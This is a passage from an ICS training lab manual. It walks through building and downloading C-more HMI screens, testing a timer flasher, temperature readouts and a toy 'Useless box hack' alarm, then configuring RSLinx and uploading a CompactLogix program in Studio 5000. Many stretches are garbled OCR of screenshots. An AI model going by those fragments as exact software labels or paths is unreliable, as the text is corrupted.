Screen  Function Panel E H n B L E F L n S H f Object  Library ’
DX BeE E- OFF Sheee ~
\\ Line
Jue: ~
Flshr UBox Sw Teme [] Rectanele
® @ - (O Circle
[ Frame
j iE 3;2'5' Button
n Pushbutton
nannmn s [ETTTTITS ([ Switch
mm Radio Button v

-1:. 545

Default Sample-1

HME | TMR | TMP | BOX | ALM

3 - MenuButtons
""" . v

Box Hack En v
2 - TimerFlash O Obiject Help | x
% Wepleger A
2 - TimerFlash 1234512345
ga_c:ngrou;d‘?creen
ECIS RS Object Group: Entry
Backlight Cal
Etfliodyr Number of Styles: 2
» v
< >
J| Draw [ETSA‘A’\ J"JFH&-—'@@IXJI]'**][?%ilBﬂmElﬂ!&Qﬁ|ﬁl|Et
Ready

8. Do this same procedure to copy the Off Time actual readout found below the Off Time setpoint.
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E C-more micro (Ver4.35.0.0) - [LAb01.5.mgp - #2 TimerFlash]

Q File Edit View Tool Object Screen Database Setup Panel Window Help

EEIEIE T

OO0

J Start aProject

‘ Simulate Project

|

Send Project to panel

(m Navigation | x
Screen  Function Panel

DX BRE e

HME [ TMR | THP [ BOX | LM
3 - MenuButtons

Box Hack En

2 - TimerFlash

[0FF_an]
13 v

EMAELE FLASH

OFF TIME

-1:. 545

= N

OFF
oM TIME

(T1E. 5335 MIZ.5aE

—1:. 5345

'HME [ TME | THF | ECi (LM |

(m Object List

Object  Library

Shape

\\ Line

[] Rectanele
(O Circle

[ Frame

Button
Pushbutton
([ Switch

mm Radio Button

a Parts List

Default Sample-1

N\

Object Help

@ Wopleper A
2 - TimerFlash
ga_c::rou;d‘?creen
lenuButtons [ Object Group: Indicators
Backlight Cal
2eC IR0 OV Number of Styles: 1
= v
< >

[Coew JI==2A4 [ Kk ta@d| X Hlek=|F+2 EDE %% W% s
Ready

TIMEON tag and select " ok "
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Numeric Entry X
Name: General  QOption
MNumericEntry2
[ JLabel ———— Font&Color———— [ Display Format
L HEE Ly E Data Type:[Unsigned Decimal VI
e Position Color Number of Digits
!7 Top Bottom Text i] Total Fractional
Color =] =]
¥ Prefix Suffix
Align
= 12.345
Frame Style: [] Line J o
0 o . [[] Comma Separator
I:I Line v .
DataEntry Tag & Data Display Taq: Justify: | Leading Spaces v ‘
_Function Key Assign:  |[jTXEEz IV [ ]
'None ¥ [TEMP - {JRange
TIMEQFF Min.; |0
TIMEROFFALUE tax.; | 65535
TIMERONYALUE
—!Jbiect Style
Description:
e Object Style 1 displays a popup keypad on the panel s |
screen when the object is selected. Used with
touchscreen panels. Style 2 Stvle 3
Tag Name Database I 0K | ’ Cancel ’ Help

10. Double-click the On Timer actual display to change the Data Entry Tag. Change this tag to point to the TIMERONVALUE tag.
Select the TIMERONVALUE tag and select " ok "
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Numeric Display

Name:

NumericDisplay2

General Option

] Label ~Font& Color—————
NUMERIC DISPLAY
Font
- Position Colo
12.345 r Top Bottom Text: i‘
Color
Align
Font

' Frame Style: Line o
-' None Y| DataDisplay Tag

TIMERDFFVALUE v |-

TEMP

TIMEOFF

TIMEON

TIMEROFFYALUE
et TIMERONVALUE

~Display Format

, Tag Name Database ‘

Data Type: Signed Decimal

Number of Digits

Total Fractional

ESERENS

Prefix Suffix
-12.345

[] Comma Separator

Justify: tLeading Spaces V:

Cancel | | Help

11. We will now modify the menu buttons screen which is Screen3 — MenuButtons. The menu button screen is the background for

all screens which is useful, so each screen doesn't have to replicate the menu buttons.
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= C-more micro (Verd.35.0.0) - [LAbO1.5.mgp - #3 MenuButtons]

=
G File Edit View Tool Object Screen Database Setup Panel Window Help - & X
DE W B IR[D] [wimm]c]
J Start aProject ‘ Simulate Project ‘ Send Project to panel
(m Navigation x (m Obiect List x
Screen  Function Panel Object  Library ’
DX B2ef - Shape ~
\\ Line
. [] Rectanele
(O Circle
-12.345 -12.345 [ Frame
Button
2 - TimerFlash [ Pushbutton
([ Switch
mm Radio Button v
. T EEy | | Parts List x
.....-1...........- | I =
HME | TME | T H |
Default Sample-1
4 - Useless \
ARl - I . v
3 - MenuButtons [I Object Help x
Top Layer A

3 - MenuButtons

Backeround Screen
D D »
Object Group: System

Backlight Color
5 Number of Styles: 1 Object
< > < >

|90 & Dl x X|lesk=|F+SF0E %S WK =

Function Object

— =

J | Draw
Ready

12. Once the Menu Button screen is open, double-click the menu buttons on the bottom of the screen and the menu button
configuration screen will open. Using the pull-down menu, assign each menu button as a "Screen Change". When completed,

it should look like the image below.
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Function X

Name: General LED
Functionl

—Function Key

Show Key
ST STV EEFTA T —Function [F1 = F5i
F2 F3 F4 F5
Text: Text: Text: Test:
Action: Action: Action: Action:

ScreenChar v ’Screenﬁhar V‘ ’ScreenChar V‘ [ScreenChar V} ’ScreenChar V‘

Hone 002-Timerf | | 005-Tempe v | | 004-Useles v | 100-Alam v

—Function (FE - F10}

F& F7 F8 F9 F10

Text: Text: Text: Text: Text:

Action: Action: Action: Action: Action:

\ None v ‘ ’ None v | I None v ‘ \ None v ‘ ’ None v |
Description: . . . . .
Tag Mame Database oK | [ Cancel ‘ [ Help

13. Now verify the function buttons as follows:

F1=001-Home

F2 = 002 - TimeFlash
F3 = 005 - Temperature
F4 = 004 - Useless
F5=100 - Alarm
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Function

X
Name: General LED
Functionl
[ ~Function Key
] Show Key
TP TA T Function [F1 ‘F5]
—F1 1 F2 1 F3 1 F4 1 F5
Text: Text: Text: Text: Text:
Action: Action: Action: Action: Action:
ScreenChar v ScreenChar v ScreenChar v ScreenChar v ScreenChar v
001 - Home 002 - Timerf v 005 - Tempe v 004 - Useles v 100 - Alarm v
8 001 - Il I | I | I | J
002 - TimerFlas
—H003 - MenuButtd)
004 -Useless | —F7 . —F8 . —F9 . ~F10
?gg:lg{nnﬁeralu Text: Text: Text: Text:
Power Up Action: Action: Action: Action:
Forward
Previous None v None v None v None v
Increment
o Decrement
Description: i

Tag Mame Database Cancel Help

Select " ok " once you have completed the Menu button assignments and save the project.

Task 2 -- Download HMI program

You will now use the blue USB to Serial converter to download the program.

1. You will connect the C-More serial cable that is normally plugged into the Click Plus PLC port #2 into the USB to Serial
converter.

2. Plug the USB cable into your computer and connect the USB converter to the ICS612 Virtual Machine
3. To download the project, you will select " send Project to Panel"tab

& File Edit View Tool Object Screen Database Setup Panel Window Help
JgldEBk|dald AL

Start aProject Simulate Project Send Project to panel

4. You will be presented with an option to select the COM port. You will be able to determine your COM port by selecting
Device Manager and selecting the COM port that indicates it's a Prolific USB-to-Serial Comm Port
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Step 3 X
—Transfer
~(® Serial
COM PORT: COM1 + || Detail
Transfer
Device Manager
() Ethemet
‘ v Browse...
In the example below, COM3 is the correct selection.
Step 3 X
—Transfer
~(® Serial
COM PORT: COM3 v Detail
— Transfer
Device Manager
(O Ethemet
' v Browse... 1

[] - Save Project to Panel Memory

If enabled, the project will be stored in panel memory
and will enable read back to PC. This will use more
panel memory. Disable this feature if you require more
panel memory for your project size.

—File Information

File Type: Size:
- Runtime File 11180 byte |
- PLC Driver File 0 byte
- Project File 16574 byte |
Total Size: 27754 byte W

5. Click Transfer .

Note

You must push function keys F1 and F5 at the same time to access the C-more panel to the Setup Menu. You must be on the
Setup Menu to download a program to the C-more HMI
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It is common to have an error upon the first attempt to download. When you experience this issue first make sure the C-more

panel is on the Setup Menu by pressing the F1 and F5 buttons at the same time. If the C-more panel is on the Setup Menu then

acknowledge the error popup box and retry the download.

C-more micro (Ver4.35.0.0)

Error PTC-015: The Com port does not exist oris in use by
another application. Close all other applications and try
again.

Once the program is downloading, you will see the Data transmission progress bar.

Data transmission
0% 50%
Transfer: Runtime File...
Remaining Time: 0 min 4 sec

100%

After the project has successfully downloaded, you will see the Project Transfer Complete dialog box. Click " ok " to return to the

programming environment.

Transfer Complete

0 Project Transfer Complete

Task 3 -- Establish communications

1. With the program downloaded, you will unplug the serial port from the USB to Serial converter and return it to Port 2 of the

Click Plus PLC.
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C-more 3-inch Micro Port 1 to CLICK PLC Port 2

L\ICK PLC

X7 wxk

793 :«:‘n'ﬁ'g
——

eIy -1

¢

= [ £
o g -
] )
o] |[== =
B T E C-more 3”
sl = Micro-Graphic
L g Panel

DV-1000CBL
Serarcapie

Once the cable is plugged into Port 2 of the Click Plus PLC, the C-more panel will communicate with the Click Plus PLC and

you will be able to test your screens

Task 4 -- Test the timer screen

1. Press the F2 TMR function button to display the Timer screen.

"ENAELE FLASH T

OFF TIME ON TIME

"' &l _<J -Lﬂ'éru >

@. Boa a.068
(HME [ THE [ THE | BOs L ELH
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Enable the timer flasher circuit by touching the ENABLE FLASH ON-OFF switch. You should observe the On and Off timer
actuals incrementing as the respective timer is timing.

2

Task 5 -- Test the temperature screen and verify your binary temperature program

1. Press the F3 TMP function button to display the Temperature screen.
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2. Verify the binary temperature indicators equal the currently displayed floating point value

3. Turn the NERD button On by touching the NERD button in the right-hand corner. You should see the floating-point value
disappear so only the binary temperature value is being displayed.
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Task 6 -- Verify the Useful Box "Hack"

1. Press the F4 BOX function button to display the Useless box control screen.

2. Enable the Useless box "Hack" by touching the UBox Hack Enable Button. The switch position should be in the "On" position.
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3 Flip the Useless box switch to the "On" position. You should see the "Ubox On Sw" indicator change to show the switch is in
the On position. When the Useless box Watchdog timer times out, you will hear an audible alarm, you will see the F5 LED

illuminate indicating the alarm.

4. Press the F5 ALM function button to silence the audible alarm and to display the Alarms screen. You will see the Useless Box
Watch Dog Timer Alarm (UBoxWDAIm) is In Alarm and Unacknowledged (IU).
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5. Press the ACK button to acknowledge the alarm. You will see the alarm moves from the In Alarm and Unacknowledged (IU) to
In Alarm and Acknowledged (IA).

6. Navigate back to the Useless box control screen by pressing the F4 function key. Turn the Useless box "hack" enable (Ubox
Hack En) off. The Useless box arm will extend, and the alarm condition will be reset.
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1. Where should setpoint limit checking occur, the HMI, the PLC or both?

2. When should a local HMI be part of the ICS solution?

3. Isthe HMI polling the PLC or is the PLC sending data change notices only?

Exercise Takeaways

HMils are the window into the process which represents a filtered presentation of what is going on within the PLC. HMI designers
will engineer the screens to display critical operational information while highlighting abnormal conditions like alarms. Some
processes are required to have continuous visibility into the process in order to keep running so the ICS systems will be designed
to have local Electronic Operator Interfaces (EOI) or standalone HMI solutions as a backup to a networked HMI solution that could
be affected by an HMI server disruption. The goal is to provide a robust and sometimes redundant process visibility solution to
minimize the loss of visibility into the process.
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HMI software and hardware capabilities vary from vendor to vendor and many times the end customer or asset owner will choose
their solution based on the integration with the PLC or PAC platform. Some solutions will have the PLC's native protocol support
which may be preferable to a 3rd party communication stack. Also, if the controller is capable of sending data change notices
instead of the HMI client continuously polling the controller for tag values, this can be advantageous as the architecture and tag

counts grow.
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Lab 1.6 -- Configure the Shared Pod Elements

Background

Total Lab Time: 20 minutes

Objectives

+ Configure the RSLinx Classic communication drivers so you could "Go Online" with the Pod CompactLogix PLC
» Upload the running program from the Pod CompactLogix PLC and saved it on your computer
» Import and merge CompactLogix PLC ladder logic rungs into the running Pod PLC

« Stop the running PanelView application and load a new .mer (compiled HMI file) project into the PanelView

Task 1 -- Configure the RSLinx Classic communication drivers

RSLinx software is used to communicate with Rockwell Automation and 3™ party automation devices. We will start this part of
the lab by restoring a preconfigured configuration.

1. Start by selecting RSLinx Classic Backup Restore Utility found in the Rockwell software folderin the Windows
applications list menu.

RSLinx Classic

RSLinx Classic Backup Restore Utility

RSLinx Classic Launch Control Panel

A
N

|
NEW

2. You may receive a warning message that "RSLinx Classic is currently running as a service" and it will prompt you to stop the

service. Go ahead and select " stop Service".

RSLinx Classic X

RSLinx Classic is currently running as a service.

& ! . To view or change the RSLinx configuration, the service must be stopped
and RSLinx started as an application. Stopping the service will stop all
communications and may impact ather client software.

Stop Service | Cancel |

3. The RSLinx Classic Launch window will appear, and you will select " stop " to stop the RSLinx service

Important

After the service is stopped, make sure the "Always Run As Service" box is unchecked.
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RSLinx Classic Launch... — X

Tools

RSLinx Classic Application is running.

Start I Stop

[T &lways Bun As Service

Select Language:  [System Defaul ~|

4. Select Restore

®y RSLinx Cl..  — X

Backup
Restore

Close

a4

5. Navigateto Lab Files\Lab 1.6\RsLinx Lab folder and select 1cs612.Rsx as the file to restore.

~

Name Date modified Type

D ICS612.RSX 8/27/2019 1:57 PM RSX File

6. Select " ok " to continue the RSLinx restore procedure.

backupBody X

: WARNING: By clicking OK you are going to overwrite any
Lk existing RSLinx configuration.
Do you want to continue?

OK I Cancel

7. 1f RSLinx Classic is already running, you will be prompted to shutdown RSLinx Classic and Harmony service. If you receive this

prompt, select " ves ".

Shutdown RSLinx Classic? X

RSLinx Classic and Harmony service need to be
shut down in order to perform this operation.
Shutdown RSLinx Classic and Harmony Service?

Yes No
I Restart RSLinx Cla en finished
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8 Once the restore operation is complete, you will be informed via a dialog box. Click " ok " to continue.

' The operation completed successfully.

Backup Restore Utility X

9. Navigate to the Rockwell Software folder and launch RSLinx Classic via the Windows menu.

If RSLinx Classic does not launch, then navigate to the Rockwell Folder and launch the "RSLinx Classic Launch Control

Console" program via the Windows menu. Stop the service and uncheck the " Run As A Service " checkbox and restart RSLinx

Classic.

RSLinx Classic Launch.. — X

Tools

RSLinx Classic Application is not running.

Start

[~ Aways Run As Service

Select Language: | System Defaut ~

10. Once RSLinx Classic is launched, navigate to the Communications menu, and select rRswho .

% RSLinx Classic Lite - [RSWho - 1]

RSWho

@= File View Communications Station DDE/OPC Security Window Help - &

&| 2|9

v Autobrowse Configure Drivers...
Configure Shortcuts...

Configure Client Applications...
Configure CIP Options...

Driver Diagnostics...

CIP Diagnostics...

Display station browser

In the left pane of the RSWho within RSLinx Classic you should see completed drivers AB_ETHIP-1 through AB_ETHIP-16. The
last digits represent your pod number. Expand the RSLinx driver associated with your pod, and you should see four devices on

your Pod.

5 B &5 B5 ®5 B5 ®5 & B8

Linx AB_ETHIP-1 AB_ETHIP-10 AB_ETHIP-11 AB_ETHIP-12 AB_ETHIP-13 AB_ETHIP-14 AB_ETHIP-15 AB_ETHIP-16
Gatewa... Ethernet Ethernet Ethernet Ethernet Ethernet Ethernet Ethernet Ethernet

5 ®5 B B5 B5 ®5 B &5 OO

AB_ETHIP-2 AB_ETHIP-3 AB_ETHIP-4 AB_ETHIP-5 AB_ETHIP-6 AB_ETHIP-7 AB_ETHIP-8 AB_ETHIP-9 AB_VBP-1
Ethernet Ethernet Ethernet Ethernet Ethernet Ethernet Ethernet Ethernet 1789-A17...

NUM | 01/30/22 | 11:10 AM
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The Allen-Bradley CompactLogix PLC @ 172.16.AA .2

The Stratix 5700 switch @ 172.16.AA.252
The PanelView HMI will appear at @ 172.16.AA.3
The remote 1/0 block @ 172.16.AA.4.
Where: AA = Your Pod#= 1-15
Example:
Pod1l = 172.16.1.2
Pod 12 = 172.16.12.2

RSLinx uses a simple text file called Electronic Data Sheets (EDS) to understand a device's capabilities and the supported data
structures. You may notice some of the devices show up with a yellow question mark and this is due to a missing correlating
EDS.

&4 RSLinx Classic Lite - RSWho - 1 - o X
File View Communications Station DDE/OPC Security Window Help

%| 5|9

@ RSWho - 1
[V Autobrowse Refrest f_},llaﬁﬁ Browsing - node 172.16.1.252 found
== Workstation, DESKTOP-BR131UQ o =
25 Linx Gateways, Ethernet 1
SR 3 AB_ETHIP-1, Ethernet 1721612 172.16.1.252  172.16.1.3 172.16.14

[ 172.16.1.2, 1769-L18ER-BB1B LOGIX5318ER, 1769-L18ER/B LOGIX5318ER 1769-L18ER... 1783-BMS.. PanelVie.. 1734-AEN..

‘? 172.16.1.252, Unrecognized Device, 1783-BMS10CGL Stratix 570
B 172.16.1.3, PanelView Plus_7 Standard 400W, PanelView Plus_7 Standard 400"
‘;) 172.16.1.4, Unrecognized Device, 1734-AENT/C Ethernet Adapter

5 AB_ETHIP-10, Ethernet

&5 AB_ETHIP-11, Ethernet

&5 AB_ETHIP-12, Ethernet

-5 AB_ETHIP-13, Ethernet

&5 AB_ETHIP-14, Ethernet

@5 AB_ETHIP-15, Ethernet

&5 AB_ETHIP-16, Ethernet

)-&5 AB_ETHIP-2, Ethernet

&5 AB_ETHIP-3, Ethernet

B-#5 AB_ETHIP-4, Ethernet

&5 AB_ETHIP-5, Ethernet

#-&5 AB_ETHIP-6, Ethernet

&5 AB_ETHIP-7, Ethernet

@-@5 AB_ETHIP-8, Ethernet

&5 AB_ETHIP-9, Ethernet

-3 AB_VBP-1, 1789-A17/A Virtual Chassis

< >

For Help, press F1 06/22/20 | 10:32 AM

11. Some devices contain onboard EDS that can be uploaded from the device to the computer running RSLinx. To see if the
device contains an onboard EDS, right click the Stratix (.252) device and select " upload EDS File from Device"
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Q RSLinx Classic Lite - RSWho - 1
File View Communications Station DDE/OPC Security Window Help

| 218

vV Autobrowse Refresh I ﬂl!g Browsing - node 172.16.1.252 found

== Workstation, DESKTOP-BR131UQ

@& Linx Gateways, Ethernet I

2% AB_ETHIP-1, Ethernet 172.16.1.2
f) 172.16.1.2, 1769-L18ER-BB1B LOGIX5318ER, 1769-L18ER/B LOGIX5318ER 1769-L18ER...

Unrecognized Device, TZ82_BMSIOCEL S 20

172.16.1.3, PanelView Plus_7 Standar Remove

i / 172.16.1.4, Unrecognized Device, 173

&-&5 AB_ETHIP-10, Ethernet

@& AB_ETHIP-11, Ethernet Configure Driver

& &5 AB_ETHP-12 Etemet | UplosdBsfiefomdevice

-5 AB_ETHIP-13, Ethernet )

@S5 AB_ETHIP-14, Ethernet SRR

-5 AB_ETHIP-15, Ethernet Device Properties

&-&5 AB_ETHIP-16, Ethernet

-5 AB_ETHIP-2, Ethernet

&5 AB_ETHIP-3, Ethernet

-2 AB_ETHIP-4, Ethernet

&-&5 AB_ETHIP-5, Ethernet

-5 AB_ETHIP-6, Ethernet

&-&5 AB_ETHIP-7, Ethernet

-5 AB_ETHIP-8, Ethernet

&-&5 AB_ETHIP-9, Ethernet

-3 AB_VBP-1, 1789-A17/A Virtual Chassis

< >

Driver Diagnostics

172.16.1.252 1721613 1721614
1783-BMS...  PanelVie.. 1734-AEN...

For Help, press F1

[ [ [ Tot/2220 [10:35aM )

12. This will start the Upload EDS File wizard. Click " Next " to continue.
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Rockwell Automation's EDS Wizard X

Upload EDS File
This will upload EDS file(s) from a device.

File location: A\Users\ICS612\AppData'\Local\Temp\RS| EMBEDDED E

The EDS file uploading finishes. 68116 bytes of the total 68116 bytes has been uploaded.

This device's EDS file
Size:
Embedded filename:
File revision:
Related EDS files
Size: 68.116 KB (68116 bytes)

Embedded filename: EDSCollection.gz

File revision: 1.001

< Back Next > Cancel

13. The EDS wizard will pull the file from the device and choose a graphic image to represent the device in RSLinx. Click " Next " to
continue.

© 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson 91



Rockwell Automation's EDS Wizard

Change Graphic Image
You can change the graphic image that is associated with a device.

~_ T
£

Product Types
Change icon... E] @ Communications Adapter

- @ 1783-BMS10CGL Stratix 5700

< Back Next > Cancel

14. Press " Next " to continue the EDS upload procedure
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Rockwell Automation's EDS Wizard

Final Task Summary

This is a review of the task you want to complete.

¥.-4 You would like to register the following device.

1783-BMS10CGL Stratix 5700

15. Once you have completed the EDS Wizard, it will present a dialog box with the successfully competed message. Click

" Finish " to complete the procedure.

< Back Next >

Cancel
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Rockwell Automation's EDS Wizard X

You have successfully completed the EDS Wizard.

16. Continue the EDS upload procedure until all yellow question marks are gone from your pod and all devices are recognized by
RSLinx Classic.
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&4 RSLinx Classic Lite - RSWho - 1 - O X
File View Communications Station DDE/OPC Security Window Help

%| £19|

= RSWho - 1
v Autobrowse efrest T_},llgﬂ Browsing - node 172.16.1.252 found
=} Q Workstation, DESKTOP-BR131UQ T le = fE'
25 Linx Gateways, Ethernet 1 X 5!
[ER 3 AB_ETHIP-1, Ethernet 1721612 172.16.1.252  172.16.1.3 172.16.14

[ 172.16.1.2, 1769-L18ER-BB1B LOGIX5318ER, 1769-L18ER/B LOGIX5318ER 1769-L18ER... 1783-BMS... PanelVie.. 1734-AEN...
#1) 172.16.1.252, 1783-BMS10CGL Stratix 5700, 1783-BMS10CGL Stratix 570
B 172.16.1.3, PanelView Plus_7 Standard 400W, PanelView Plus_7 Standard 400"
g 172.16.1.4, 1734-AENT/C Ethernet Adapter, 1734-AENT/C Ethernet Adapter

&5 AB_ETHIP-10, Ethernet

@25 AB_ETHIP-11, Ethernet

&5 AB_ETHIP-12, Ethernet

@-@5 AB_ETHIP-13, Ethernet

&5 AB_ETHIP-14, Ethernet

&5 AB_ETHIP-15, Ethernet

&5 AB_ETHIP-16, Ethernet

&5 AB_ETHIP-2, Ethernet

&5 AB_ETHIP-3, Ethernet

&5 AB_ETHIP-4, Ethernet

&5 AB_ETHIP-5, Ethernet

&5 AB_ETHIP-6, Ethernet

&5 AB_ETHIP-7, Ethernet

&5 AB_ETHIP-8, Ethernet

&5 AB_ETHIP-9, Ethernet

83 AB_VBP-1, 1789-A17/A Virtual Chassis

< >

For Help, press F1 06/22/20 | 10:44 AM

Task 2 -- Upload running program

Studio 5000 software by Rockwell Automation is used to program the Pod CompactLogix PLC. We will use Studio 5000 software
to upload the program in the CompactLogix PLC and we will also merge a set of ladder logic into the running PLC without
stopping the PLC.

1. Start by launching Studio 5000 from the Windows application Menu under Rockwell Software.

%

cANn

Studio 5000

Note

If asked, you can ignore the Adobe Warning

2. Once Rockwell Software Studio 5000 is open, select " From Uptload " which will instruct the software to create or open a PLC
program from a Rockwell Automation PLC.
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Key ltem

in Rockwell Automation PLC terminology, "Upload" means transfer a configuration or program from the PLC to the
laptop's software. "Download" means replace the configuration on the PLC with the logic running in the software
application to the PLC.

Rockwell Software’

Studio 5000

New Project Existing Project ~

From Import Sample Project

From Sample Project From Upload

Recent Projects

3. Select " RsLinx classic"in the Upload from Controller or Terminal Window. This instructs Studio 5000 to use the RSLinx

Classic communication drivers to locate the Rockwell Automation devices.
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© Upload From Controller or Terminal ? X

Communication software: % FactoryTalk Linx w4

' —&RSLinx Classic
‘@ ¥ Q
10Y 8| ] BL, FactoryTalk Linx

ft DESKTOP-BR131UQ

g FactoryTalk Linx - Desktop, DESKTOP-BR131UQ

D B3 Backplane

D &% EtherNet, AB_ETH-1
D =% EtherNet, AB_ETHIP-1
D =& EtherNet, Ethernet

Zoom: 100%

Version:

4. Studio 5000 can utilize the RSLinx communication software to upload the PLC program. You will see Studio 5000 uses the
RSLinx communication drivers that we configured in a previous step.
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% RSLinx Classic Lite - RSWho - 1
File View Communications Station DDE/OPC Security Window Help

| 18

w5 1721612 172.16.1.252

S8 AB ETHIP-10, Ethemet 1769-L13ER... 1783-BMS...
@& AB_ETHIP-11, Ethernet

®-&5 AB_ETHIP-12, Ethernet

[-&5 AB_ETHIP-13, Ethernet

#-&5 AB_ETHIP-14, Ethernet

@& AB_ETHIP-15, Ethernet

#-&5 AB_ETHIP-16, Ethernet

&5 AB_ETHIP-2, Ethernet

#-#5 AB_ETHIP-3, Ethernet

[#-&5 AB_ETHIP-4, Ethernet

@-&5 AB_ETHIP-5, Ethernet

@& AB_ETHIP-6, Ethernet

@-&5 AB_ETHIP-7, Ethernet

[#-#5 AB_ETHIP-8, Ethernet

&5 AB_ETHIP-9, Ethernet

@@ AB_VBP-1, 1789-A17/A Virtual Chassis

&= o
Autobrowse Refresh | &IFH!I Browsing - node 172.16.1.252 found

== Workstation, DESKTOP-BR131UQ o =
@25 Linx Gateways, Ethernet g%

172.16.1.3 172.16.1.4
PanelVie.. 1734-AEN...

For Help, press F1 [

" [06/22/20 [10:45AM

5. You will expand your pod's AB_LETHIP-x where "x" is your pod number. The example shown in the image below represents an
upload of the PLC program from Pod 1 by using the AB_ETHIP-1 driver. We see the PLC is found at 172.16.1.2 select the PLC

and select " upload ".
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&4 RSLinx Classic Lite - RSWho - 1
File View Communications Station DDE/OPC Security Window Help

| 18

o= =

V' Autobrowse Refresh | alln!] Not Browsing
[ = I Workstation, DESKTOP-BR131UQ
@25 Linx Gateways, Ethernet
=25 AB_ETHIP-1, Ethernet
BN | 172.16.1.2, 1769-L18ER-BB1B LOGIX5318ER, 1769-L18ER/B LOGIX5318ER
@) 172.16.1.252, 1783-BMS10CGL Stratix 5700, 1783-BMS10CGL Stratix 570
i ﬂ 172.16.1.3, PanelView Plus_7 Standard 400W, PanelView Plus_7 Standard 400'
8 £ 172.16.1.4, 1734-AENT/C Ethernet Adapter, 1734-AENT/C Ethernet Adapter
)&% AB_ETHIP-10, Ethernet
[#-&5 AB_ETHIP-11, Ethernet
-2 AB_ETHIP-12, Ethernet
@#-&5 AB_ETHIP-13, Ethernet
-2 AB_ETHIP-14, Ethernet
@ & AB_ETHIP-15, Ethernet
)-25 AB_ETHIP-16, Ethernet
[#-&5 AB_ETHIP-2, Ethernet
&-25 AB_ETHIP-3, Ethernet
#-&5 AB_ETHIP-4, Ethernet
&5 AB_ETHIP-5, Ethernet
&5 AB_ETHIP-6, Ethernet
525 AB_ETHIP-7, Ethernet
#-&5 AB_ETHIP-8, Ethernet
-3 AB_ETHIP-9, Ethernet
[ &3 AB_VBP-1, 1789-A17/A Virtual Chassis

< >

PointBus

PointlO ...

PCviaUSB
1789-A17...

For Help, press F1

[ 1

[06/22/20 [10:47AM

6. We are running the Studio 5000 in grace mode so the "Product Activation Failed" message will be displayed. Anytime you see

this dialog box, simply select " ok " to continue.
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Product Activation Failed — X

This product has not been successfully activated.

Itis currently operating in a grace period. Messages will continue to be
displayed periodically until either the product is successfully activated or the
grace period expires.

You will not be able to restart your software once the grace period expires.
The following activations were not successfully checked out:

RS5K_700.exe

To see what activations are assocdiated with products, see "Activation feature
names associated with products”in the FactoryTalk Activation Manager help.

This grace period will expire in 4 days, 14 hours.
This grace period began 2 days, 10 hours ago.

Try the following to resolve the issue

- Check the activation paths are set correctly on the Find Available
Activations page of the FactoryTalk Activation Manager.

- Confirm that the activations are available on the Find Available
Activations page of the FactoryTalk Activation Manager.

- See the troubleshooting section of the online help for the
FactoryTalk Activation Manager.

By dicking OK you indicate that you have read and acknowledge this message.

[ o 1]

7. The software will present the current Controller Name, Controller Type and the Communication Path. Click " select File"

Connected To Upload X
Options General Date/Time Major Faults Minor Faults Nonvolatile Memory

Condition: The project file 'RawPod1.ACD" was not found in your project directory.
Select new or existing project file.

Connected Controller:
Controller Name: RawPod1
Controller Type:  1769-L18ER/B CompactLogix™ 5370 Controller
Comm Path: AB_ETHIP-1\172.16.1.2
Serial Number:  60E087F6
Security: No Protection
Offline Project
Controller Mame
Controller Type:
File
Sernal Number

Security

Select File... ' Cancel Help

8. Click " select " to accept the default program name and file location.
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@ Enter New or Select Existing File

Look in: I

Projects

*

Quick access

Desktop
m
Libraries
This PC

Network

Name

<

This folder is empty.

v] @ % = @

Date modified

Type

File name: RawPod1 ACD

Files of type: Logix Designer Project Files (*.ACD)

V]

1l

9. The software will prompt you to create the file. Select " ves " to continue.

Quick access

Desktop
m
Libraries
This PC

Network

@ Enter New or Select Existing File
Look in: | Projects Vl Q7 @
l Name a Date modified
& RawPod1.ACD

Type

8/29/201911:48 PM  Logix Desi

Logix Designer

,ié Create project file 'RawPod1.ACD" and upload?

<

File name: I RawPod1.ACD

Files of type: Logix Designer Project Files (*.ACD)

g

1l

10. As the file is uploaded, you will see the progress bar until the PLC program uploads successfully.
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11.

Connected To Upload X

Options General Date/Time Major Faults Minor Faults  Nonvolatile Memory

Condtion: The project file ‘RawPod1.ACD" was not found in your project directory.
Select new or existing project file.

Connected Controller:
Controller Name: RawPod1
Controller Type:  1768-L18ER/B CompactLogix™ 5370 Controller
Comm Path: AB_ETHIP-1\172.16.1.2
Serial Number:  60E087F6
Security: N Uploading

Offline Project: _
Controller Name: Uploading all Extended Properties...
Controller Type:
File:

| SelectFile... | | Cancel | | Hep |

Once the file is uploaded, you will be online with the CompactLogix PLC.

@ Logix Designer - RawPod1 [1769-L18ER-BB1B 24.13] - o x
File Edit View Search Logic Communications Tools Window Help

BEE & s oo e G [Es ¥ QQ | [seabmoe. /9|
Rem Run M8 ™ Run Mode 5 |Pau.:|Mz.1e.1r vl

No Forces >, I Controller OK
No Edts oy Sezem K COH okl R A >

< > ]\ Favorites {AGa-0n £ Satety £ Aarms £ Bt A Tmerc

Controller Fault Handler
1 Power-Up Handler

i 5] ﬂ MainProgram
-3 T_BreakerCtrl
- w-0% P_BreakerCtrl

J Unscheduled Programs / Phases
=5 Motion Groups

[]»»@ Data Types
-0 User-Defined

Tt= Controller Organizer 'y, Logical Organizer

Upload complete with no errors or warnings.
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Task 3 -- Import and merge a CompactLogix PLC program
The CompactLogix PLC is capable of merging ladder logic routines or snippets of ladder logic into a running PLC. We are going to
cover the steps to import existing ladder logic into the Allen-Bradley Line controller. This is useful for making program

modifications to a running process without having to shut down or stop work in progress. In this lab, you will modify the Allen-
Bradley CompactLogix program depending on what Pod you are assigned to and which student number you have been assigned.

Identify the lab file to open based on answering the questions below:

You are assigned to Pod 1, 2, 3 or 13 in the Raw Ingredients Area [ |

You are Student 1 [ |
You will modify program R_RawOrPackPodClick1
You are student 2 .

You will modify program R_RawOrPackPodClick2

You are assigned to Pod 10, 11, 12 or 16 in the Packaging Area [ ]

You are student 1 B
You will modify program R_RawOrPackPodClick1
You are student 2 [ |

You will modify program R_RawOrPackPodClick2

You are assigned to Pod 4, 5, 6 or 14 in the Mixing Area [ ]

You are Student 1 [ |
You will modify program R_MixorGrindPodClick
You are Student 2 B

You will modify program R_MixorGrindPodClick2
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¥ You are assigned to Pod 7,8, 9 or 15 in the Grinding Area [ |

™ You are Student 1 [ |
You will modify program R_MixorGrindPodClick

[ Youare Student 2 [ |

You will modify program R_MixorGrindPodClick2

1. In this example we are assigned to pod 1 in the Raw Ingredients area of the plant, and we are assigned student Click 1. We will

modify the R_RawOrPackPodClick1 routine. Find an area labeled Tasks, which contain programs, within the Controller
Organizer on the left side of the Logix Designer software.

